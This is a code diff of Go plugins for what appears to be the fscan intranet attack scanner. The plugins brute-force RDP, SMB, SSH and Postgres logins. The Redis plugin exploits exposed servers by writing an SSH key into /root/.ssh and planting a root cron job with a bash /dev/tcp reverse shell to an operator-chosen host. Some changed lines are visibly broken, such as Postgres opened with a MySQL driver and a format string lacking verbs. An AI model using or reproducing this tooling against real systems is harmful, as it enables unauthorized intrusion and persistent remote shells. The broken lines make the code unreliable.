@@ -38,15 +28,15 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {

 func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
+	Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
 	dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
-	db, err := sql.Open("postgres", dataSourceName)
+	db, err := sql.Open("mysql", dataSourceName)
 	if err == nil {
 		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {
-			result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
 			common.LogSuccess(result)
 			flag = true
 		}
--- a/Plugins/rdp.go
+++ b/Plugins/rdp.go
@@ -1,198 +0,0 @@
-package Plugins
-
-import (
-	"errors"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
-	"github.com/tomatome/grdp/core"
-	"github.com/tomatome/grdp/glog"
-	"github.com/tomatome/grdp/protocol/nla"
-	"github.com/tomatome/grdp/protocol/pdu"
-	"github.com/tomatome/grdp/protocol/rfb"
-	"github.com/tomatome/grdp/protocol/sec"
-	"github.com/tomatome/grdp/protocol/t125"
-	"github.com/tomatome/grdp/protocol/tpkt"
-	"github.com/tomatome/grdp/protocol/x224"
-	"log"
-	"net"
-	"os"
-	"strconv"
-	"strings"
-	"sync"
-	"time"
-)
-
-type Brutelist struct {
-	user string
-	pass string
-}
-
-func RdpScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-
-	var wg sync.WaitGroup
-	var signal bool
-	var num = 0
-	var all = len(common.Userdict["rdp"]) * len(common.Passwords)
-	var mutex sync.Mutex
-	brlist := make(chan Brutelist, all)
-	port, _ := strconv.Atoi(info.Ports)
-
-	for _, user := range common.Userdict["rdp"] {
-		for _, pass := range common.Passwords {
-			pass = strings.Replace(pass, "{user}", user, -1)
-			brlist <- Brutelist{user, pass}
-		}
-	}
-
-	for i := 0; i < common.BruteThread; i++ {
-		wg.Add(1)
-		go worker(info.Host, info.Domain, port, &wg, brlist, &signal, &num, all, &mutex, info.Timeout)
-	}
-
-	close(brlist)
-	go func() {
-		wg.Wait()
-		signal = true
-	}()
-	for !signal {
-	}
-
-	return tmperr
-}
-
-func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
-	defer wg.Done()
-	for one := range brlist {
-		if *signal == true {
-			return
-		}
-		go incrNum(num, mutex)
-		user, pass := one.user, one.pass
-		flag, err := RdpConn(host, domain, user, pass, port, timeout)
-		if flag == true && err == nil {
-			var result string
-			if domain != "" {
-				result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass)
-			} else {
-				result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass)
-			}
-			common.LogSuccess(result)
-			*signal = true
-			return
-		} else {
-			errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
-			common.LogError(errlog)
-		}
-	}
-}
-
-func incrNum(num *int, mutex *sync.Mutex) {
-	mutex.Lock()
-	*num = *num + 1
-	mutex.Unlock()
-}
-
-func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
-	target := fmt.Sprintf("%s:%d", ip, port)
-	g := NewClient(target, glog.NONE)
-	err := g.Login(domain, user, password, timeout)
-
-	if err == nil {
-		return true, nil
-	}
-
-	return false, err
-}
-
-type Client struct {
-	Host string // ip:port
-	tpkt *tpkt.TPKT
-	x224 *x224.X224
-	mcs  *t125.MCSClient
-	sec  *sec.Client
-	pdu  *pdu.Client
-	vnc  *rfb.RFB
-}
-
-func NewClient(host string, logLevel glog.LEVEL) *Client {
-	glog.SetLevel(logLevel)
-	logger := log.New(os.Stdout, "", 0)
-	glog.SetLogger(logger)
-	return &Client{
-		Host: host,
-	}
-}
-
-func (g *Client) Login(domain, user, pwd string, timeout int64) error {
-	conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return fmt.Errorf("[dial err] %v", err)
-	}
-	glog.Info(conn.LocalAddr().String())
-
-	g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
-	g.x224 = x224.New(g.tpkt)
-	g.mcs = t125.NewMCSClient(g.x224)
-	g.sec = sec.NewClient(g.mcs)
-	g.pdu = pdu.NewClient(g.sec)
-
-	g.sec.SetUser(user)
-	g.sec.SetPwd(pwd)
-	g.sec.SetDomain(domain)
-	//g.sec.SetClientAutoReconnect()
-
-	g.tpkt.SetFastPathListener(g.sec)
-	g.sec.SetFastPathListener(g.pdu)
-	g.pdu.SetFastPathSender(g.tpkt)
-
-	//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
-	//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
-
-	err = g.x224.Connect()
-	if err != nil {
-		return fmt.Errorf("[x224 connect err] %v", err)
-	}
-	glog.Info("wait connect ok")
-	wg := &sync.WaitGroup{}
-	breakFlag := false
-	wg.Add(1)
-
-	g.pdu.On("error", func(e error) {
-		err = e
-		glog.Error("error", e)
-		g.pdu.Emit("done")
-	})
-	g.pdu.On("close", func() {
-		err = errors.New("close")
-		glog.Info("on close")
-		g.pdu.Emit("done")
-	})
-	g.pdu.On("success", func() {
-		err = nil
-		glog.Info("on success")
-		g.pdu.Emit("done")
-	})
-	g.pdu.On("ready", func() {
-		glog.Info("on ready")
-		g.pdu.Emit("done")
-	})
-	g.pdu.On("update", func(rectangles []pdu.BitmapData) {
-		glog.Info("on update:", rectangles)
-	})
-	g.pdu.On("done", func() {
-		if breakFlag == false {
-			breakFlag = true
-			wg.Done()
-		}
-	})
-	wg.Wait()
-	return err
-}
--- a/Plugins/redis.go
+++ b/Plugins/redis.go
@@ -10,35 +10,20 @@ import (
 	"time"
 )

-var (
-	dbfilename string
-	dir        string
-)
-
 func RedisScan(info *common.HostInfo) (tmperr error) {
-	starttime := time.Now().Unix()
 	flag, err := RedisUnauth(info)
 	if flag == true && err == nil {
 		return err
 	}
-	if common.IsBrute {
-		return
-	}
 	for _, pass := range common.Passwords {
 		pass = strings.Replace(pass, "{user}", "redis", -1)
 		flag, err := RedisConn(info, pass)
 		if flag == true && err == nil {
 			return err
 		} else {
-			errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
+			errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
 			common.LogError(errlog)
 			tmperr = err
-			if common.CheckErrs(err) {
-				return err
-			}
-			if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
-				return err
-			}
 		}
 	}
 	return tmperr
@@ -46,20 +31,12 @@ func RedisScan(info *common.HostInfo) (tmperr error) {

 func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 	flag = false
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return flag, err
-	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
 	if err != nil {
 		return flag, err
 	}
+	defer conn.Close()
 	_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
 	if err != nil {
 		return flag, err
@@ -69,37 +46,22 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 		return flag, err
 	}
 	if strings.Contains(reply, "+OK") {
+		result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
+		common.LogSuccess(result)
 		flag = true
-		dbfilename, dir, err = getconfig(conn)
-		if err != nil {
-			result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
-			common.LogSuccess(result)
-			return flag, err
-		} else {
-			result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
-			common.LogSuccess(result)
-		}
-		err = Expoilt(realhost, conn)
+		Expoilt(realhost, conn)
 	}
 	return flag, err
 }

 func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return flag, err
-	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
 	if err != nil {
 		return flag, err
 	}
+	defer conn.Close()
 	_, err = conn.Write([]byte("info\r\n"))
 	if err != nil {
 		return flag, err
@@ -109,17 +71,10 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 		return flag, err
 	}
 	if strings.Contains(reply, "redis_version") {
+		result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
+		common.LogSuccess(result)
 		flag = true
-		dbfilename, dir, err = getconfig(conn)
-		if err != nil {
-			result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
-			common.LogSuccess(result)
-			return flag, err
-		} else {
-			result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
-			common.LogSuccess(result)
-		}
-		err = Expoilt(realhost, conn)
+		Expoilt(realhost, conn)
 	}
 	return flag, err
 }
@@ -130,25 +85,24 @@ func Expoilt(realhost string, conn net.Conn) error {
 		return err
 	}
 	if flagSsh == true {
-		result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
+		result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
 		common.LogSuccess(result)
 		if common.RedisFile != "" {
 			writeok, text, err := writekey(conn, common.RedisFile)
 			if err != nil {
-				fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
 				return err
 			}
 			if writeok {
-				result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
+				result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
-				fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text)
+				fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
 			}
 		}
 	}

 	if flagCron == true {
-		result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
+		result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
 		common.LogSuccess(result)
 		if common.RedisShell != "" {
 			writeok, text, err := writecron(conn, common.RedisShell)
@@ -156,18 +110,13 @@ func Expoilt(realhost string, conn net.Conn) error {
 				return err
 			}
 			if writeok {
-				result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
+				result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
-				fmt.Println("[-] Redis:", realhost, "cron write failed", text)
+				fmt.Println("Redis:", realhost, "cron write failed", text)
 			}
 		}
 	}
-	err = recoverdb(dbfilename, dir, conn)
-	//fmt.Println("dbfilename:")
-	//fmt.Println(dbfilename)
-	//fmt.Println("dir:")
-	//fmt.Println(dir)
 	return err
 }

@@ -191,19 +140,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 			return flag, text, err
 		}
 		if strings.Contains(text, "OK") {
-			var key string
-			if filename == "shadow" {
-				key = SshPub
-			} else {
-				key, err = Readfile(filename)
-				if err != nil {
-					text = fmt.Sprintf("Open %s error, %v", filename, err)
-					return flag, text, err
-				}
-				if len(key) == 0 {
-					text = fmt.Sprintf("the keyfile %s is empty", filename)
-					return flag, text, err
-				}
+			key, err := Readfile(filename)
+			if err != nil {
+				text = fmt.Sprintf("Open %s error, %v", filename, err)
+				return flag, text, err
+			}
+			if len(key) == 0 {
+				text = fmt.Sprintf("the keyfile %s is empty", filename)
+				return flag, text, err
 			}
 			_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
 			if err != nil {
@@ -255,11 +199,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 			return flag, text, err
 		}
 		if strings.Contains(text, "OK") {
-			target := strings.Split(host, ":")
-			if len(target) < 2 {
-				return flag, "host error", err
-			}
-			scanIp, scanPort := target[0], target[1]
+			scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
 			_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
 			if err != nil {
 				return flag, text, err
@@ -307,15 +247,14 @@ func Readfile(filename string) (string, error) {
 }

 func readreply(conn net.Conn) (result string, err error) {
-	size := 5 * 1024
-	buf := make([]byte, size)
+	buf := make([]byte, 4096)
 	for {
 		count, err := conn.Read(buf)
 		if err != nil {
 			break
 		}
 		result += string(buf[0:count])
-		if count < size {
+		if count < 4096 {
 			break
 		}
 	}
@@ -348,55 +287,3 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
 	}
 	return flag, flagCron, err
 }
-
-func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
-	if err != nil {
-		return
-	}
-	text, err := readreply(conn)
-	if err != nil {
-		return
-	}
-	text1 := strings.Split(text, "\r\n")
-	if len(text1) > 2 {
-		dbfilename = text1[len(text1)-2]
-	} else {
-		dbfilename = text1[0]
-	}
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
-	if err != nil {
-		return
-	}
-	text, err = readreply(conn)
-	if err != nil {
-		return
-	}
-	text1 = strings.Split(text, "\r\n")
-	if len(text1) > 2 {
-		dir = text1[len(text1)-2]
-	} else {
-		dir = text1[0]
-	}
-	return
-}
-
-func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
-	if err != nil {
-		return
-	}
-	dbfilename, err = readreply(conn)
-	if err != nil {
-		return
-	}
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
-	if err != nil {
-		return
-	}
-	dir, err = readreply(conn)
-	if err != nil {
-		return
-	}
-	return
-}
--- a/Plugins/scanner.go
+++ b/Plugins/scanner.go
@@ -3,7 +3,6 @@ package Plugins
 import (
 	"errors"
 	"fmt"
-	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
 	"reflect"
 	"strconv"
@@ -12,95 +11,59 @@ import (
 )

 func Scan(info common.HostInfo) {
-	fmt.Println("start infoscan")
-	Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
-	if err != nil {
-		fmt.Println("len(hosts)==0", err)
+	fmt.Println("scan start")
+	Hosts, _ := common.ParseIP(info.Host, common.HostFile)
+	if common.IsPing == false {
+		Hosts = ICMPRun(Hosts, common.Ping)
+		fmt.Println("icmp alive hosts len is:", len(Hosts))
+	}
+	if info.Scantype == "icmp" {
 		return
 	}
-	lib.Inithttp(common.Pocinfo)
+	AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
+	if info.Scantype == "portscan" {
+		return
+	}
+	var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
+	for _, port := range common.PORTList {
+		severports = append(severports, strconv.Itoa(port))
+	}
 	var ch = make(chan struct{}, common.Threads)
 	var wg = sync.WaitGroup{}
-	if len(Hosts) > 0 {
-		if common.IsPing == false {
-			Hosts = CheckLive(Hosts, common.Ping)
-			fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
-		}
-		if info.Scantype == "icmp" {
-			common.LogWG.Wait()
-			return
-		}
-		var AlivePorts []string
-		if info.Scantype == "webonly" {
-			AlivePorts = NoPortScan(Hosts, info.Ports)
-		} else {
-			AlivePorts = PortScan(Hosts, info.Ports, info.Timeout)
-			fmt.Println("[*] alive ports len is:", len(AlivePorts))
-			if info.Scantype == "portscan" {
-				common.LogWG.Wait()
-				return
-			}
-		}
-
-		var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
-		for _, port := range common.PORTList {
-			severports = append(severports, strconv.Itoa(port))
-		}
-		fmt.Println("start vulscan")
-		for _, targetIP := range AlivePorts {
-			info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
-			if info.Scantype == "all" || info.Scantype == "main" {
-				switch {
-				case info.Ports == "135":
-					AddScan(info.Ports, info, ch, &wg) //findnet
-				case info.Ports == "445":
-					//AddScan(info.Ports, info, ch, &wg)  //smb
-					AddScan("1000001", info, ch, &wg) //ms17010
-					//AddScan("1000002", info, ch, &wg) //smbghost
-				case info.Ports == "9000":
-					AddScan(info.Ports, info, ch, &wg) //fcgiscan
-					AddScan("1000003", info, ch, &wg)  //http
-				case IsContain(severports, info.Ports):
-					AddScan(info.Ports, info, ch, &wg) //plugins scan
-				default:
-					AddScan("1000003", info, ch, &wg) //webtitle
-				}
+	for _, targetIP := range AlivePorts {
+		info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
+		if info.Scantype == "all" {
+			if info.Ports == "445" { //scan more vul
+				AddScan("1000001", info, ch, &wg)
+				AddScan("1000002", info, ch, &wg)
+			} else if IsContain(severports, info.Ports) {
+				AddScan(info.Ports, info, ch, &wg)
 			} else {
-				port, _ := common.PORTList[info.Scantype]
-				scantype := strconv.Itoa(port)
-				AddScan(scantype, info, ch, &wg)
+				AddScan("1000003", info, ch, &wg) //webtitle
 			}
-		}
-	}
-	if common.URL != "" {
-		info.Url = common.URL
-		AddScan("1000003", info, ch, &wg)
-	}
-	if len(common.Urls) > 0 {
-		for _, url := range common.Urls {
-			info.Url = url
-			AddScan("1000003", info, ch, &wg)
+		} else {
+			port, _ := common.PortlistBack[info.Scantype]
+			scantype := strconv.Itoa(port)
+			AddScan(scantype, info, ch, &wg)
 		}
 	}
 	wg.Wait()
-	common.LogWG.Wait()
-	close(common.Results)
-	fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
+	common.WaitSave()
 }

-var Mutex = &sync.Mutex{}
-
 func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
 	wg.Add(1)
 	go func() {
-		Mutex.Lock()
-		common.Num += 1
-		Mutex.Unlock()
-		ScanFunc(PluginList, scantype, &info)
+		err, _ := ScanFunc(PluginList, scantype, &info)
+		if common.LogErr {
+			tmperr := err[0].Interface()
+			if tmperr != nil {
+				tmperr1 := err[0].Interface().(error)
+				errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
+				fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
+			}
+		}
 		wg.Done()
-		Mutex.Lock()
-		common.End += 1
-		Mutex.Unlock()
 		<-ch
 	}()
 	ch <- struct{}{}
--- a/Plugins/smb.go
+++ b/Plugins/smb.go
@@ -1,7 +1,6 @@
 package Plugins

 import (
-	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"github.com/stacktitan/smb/smb"
@@ -10,10 +9,6 @@ import (
 )

 func SmbScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return nil
-	}
-	starttime := time.Now().Unix()
 	for _, user := range common.Userdict["smb"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
@@ -21,30 +16,23 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				var result string
 				if info.Domain != "" {
-					result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
+					result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
 				} else {
-					result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
+					result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
 				}
 				common.LogSuccess(result)
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
-				errlog = strings.Replace(errlog, "\n", "", -1)
+				errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
 			}
 		}
 	}
 	return tmperr
 }

-func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
+func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
 	flag = false
 	Host, Username, Password := info.Host, user, pass
 	options := smb.Options{
@@ -52,7 +40,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
 		Port:        445,
 		User:        Username,
 		Password:    Password,
-		Domain:      info.Domain,
+		Domain:      Domain,
 		Workstation: "",
 	}

@@ -70,12 +58,12 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
 func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	signal := make(chan struct{})
 	go func() {
-		flag, err = SmblConn(info, user, pass, signal)
+		flag, err = SmblConn(info, user, pass, info.Domain, signal)
 	}()
 	select {
 	case <-signal:
 		return flag, err
 	case <-time.After(time.Duration(info.Timeout) * time.Second):
-		return false, errors.New("time out")
+		return false, err
 	}
 }
--- a/Plugins/ssh.go
+++ b/Plugins/ssh.go
@@ -1,21 +1,15 @@
 package Plugins

 import (
-	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"golang.org/x/crypto/ssh"
-	"io/ioutil"
 	"net"
 	"strings"
 	"time"
 )

 func SshScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
 	for _, user := range common.Userdict["ssh"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
@@ -23,18 +17,9 @@ func SshScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
-			}
-			if info.SshKey != "" {
-				return err
 			}
 		}
 	}
@@ -43,25 +28,12 @@ func SshScan(info *common.HostInfo) (tmperr error) {

 func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	Auth := []ssh.AuthMethod{}
-	if info.SshKey != "" {
-		pemBytes, err := ioutil.ReadFile(info.SshKey)
-		if err != nil {
-			return false, errors.New("read key failed" + err.Error())
-		}
-		signer, err := ssh.ParsePrivateKey(pemBytes)
-		if err != nil {
-			return false, errors.New("parse key failed" + err.Error())
-		}
-		Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
-	} else {
-		Auth = []ssh.AuthMethod{ssh.Password(Password)}
-	}
-
+	Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
 	config := &ssh.ClientConfig{
-		User:    Username,
-		Auth:    Auth,
+		User: Username,
+		Auth: []ssh.AuthMethod{
+			ssh.Password(Password),
+		},
 		Timeout: time.Duration(info.Timeout) * time.Second,
 		HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
 			return nil
@@ -75,19 +47,12 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
 		if err == nil {
 			defer session.Close()
 			flag = true
-			var result string
 			if info.Command != "" {
 				combo, _ := session.CombinedOutput(info.Command)
-				result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
-				if info.SshKey != "" {
-					result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
-				}
+				result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
 				common.LogSuccess(result)
 			} else {
-				result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
-				if info.SshKey != "" {
-					result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
-				}
+				result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
 				common.LogSuccess(result)
 			}
 		}
--- a/Plugins/webtitle.go
+++ b/Plugins/webtitle.go
@@ -1,232 +1,117 @@
 package Plugins

 import (
-	"compress/gzip"
 	"crypto/tls"
 	"fmt"
 	"github.com/shadow1ng/fscan/WebScan"
-	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
-	"golang.org/x/text/encoding/simplifiedchinese"
-	"io"
 	"io/ioutil"
 	"net"
 	"net/http"
-	"net/url"
 	"regexp"
 	"strings"
 	"time"
-	"unicode/utf8"
 )

+var CheckData []WebScan.CheckDatas
+
 func WebTitle(info *common.HostInfo) error {
-	err, CheckData := GOWebTitle(info)
-	info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
-	if common.IsWebCan == false && common.IsBrute == false && err == nil {
-		WebScan.WebScan(info)
+	if info.Ports == "80" {
+		info.Url = fmt.Sprintf("http://%s", info.Host)
+	} else if info.Ports == "443" {
+		info.Url = fmt.Sprintf("https://%s", info.Host)
 	} else {
-		errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
-		common.LogError(errlog)
+		info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
 	}
+
+	err, result := geturl(info, true)
+	if err != nil {
+		return err
+	}
+	if result == "https" {
+		err, _ := geturl(info, true)
+		if err != nil {
+			return err
+		}
+	}
+
+	err, _ = geturl(info, false)
+	if err != nil {
+		return err
+	}
+
+	WebScan.InfoCheck(info.Url, CheckData)
+
+	if common.IsWebCan == false {
+		WebScan.WebScan(info)
+	}
+
 	return err
 }
-func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
-	if info.Url == "" {
-		switch info.Ports {
-		case "80":
-			info.Url = fmt.Sprintf("http://%s", info.Host)
-		case "443":
-			info.Url = fmt.Sprintf("https://%s", info.Host)
-		default:
-			host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
-			protocol := GetProtocol(host, info.Timeout)
-			info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
-		}
-	} else {
-		if !strings.Contains(info.Url, "://") {
-			host := strings.Split(info.Url, "/")[0]
-			protocol := GetProtocol(host, info.Timeout)
-			info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
-		}
-	}
-
-	err, result, CheckData := geturl(info, 1, CheckData)
-	if err != nil && !strings.Contains(err.Error(), "EOF") {
-		return
-	}
-
-	//有跳转
-	if strings.Contains(result, "://") {
-		info.Url = result
-		err, result, CheckData = geturl(info, 3, CheckData)
-		if err != nil {
-			return
-		}
-	}
-
-	if result == "https" && !strings.HasPrefix(info.Url, "https://") {
-		info.Url = strings.Replace(info.Url, "http://", "https://", 1)
-		err, result, CheckData = geturl(info, 1, CheckData)
-		//有跳转
-		if strings.Contains(result, "://") {
-			info.Url = result
-			err, result, CheckData = geturl(info, 3, CheckData)
-			if err != nil {
-				return
-			}
-		}
-	}
-
-	err, _, CheckData = geturl(info, 2, CheckData)
-	if err != nil {
-		return
-	}
-	return
-}
-
-func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
-	//flag 1 first try
-	//flag 2 /favicon.ico
-	//flag 3 302
-	//flag 4 400 -> https

+func geturl(info *common.HostInfo, flag bool) (err error, result string) {
 	Url := info.Url
-	if flag == 2 {
-		URL, err := url.Parse(Url)
+	if flag == false {
+		Url += "/favicon.ico"
+	}
+	tr := &http.Transport{
+		TLSClientConfig:   &tls.Config{InsecureSkipVerify: true},
+		DisableKeepAlives: false,
+		DialContext: (&net.Dialer{
+			Timeout:   time.Duration(info.WebTimeout) * time.Second,
+			KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
+		}).DialContext,
+		MaxIdleConns:        1000,
+		MaxIdleConnsPerHost: 1000,
+		IdleConnTimeout:     time.Duration(info.WebTimeout+3) * time.Second,
+		TLSHandshakeTimeout: 5 * time.Second,
+	}
+	//u, err := url.Parse("http://127.0.0.1:8080")
+	//if err != nil {
+	//	return err,result
+	//}
+	//tr.Proxy = http.ProxyURL(u)
+
+	var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
+	res, err := http.NewRequest("GET", Url, nil)
+	if err == nil {
+		res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
+		res.Header.Add("Accept", "*/*")
+		res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
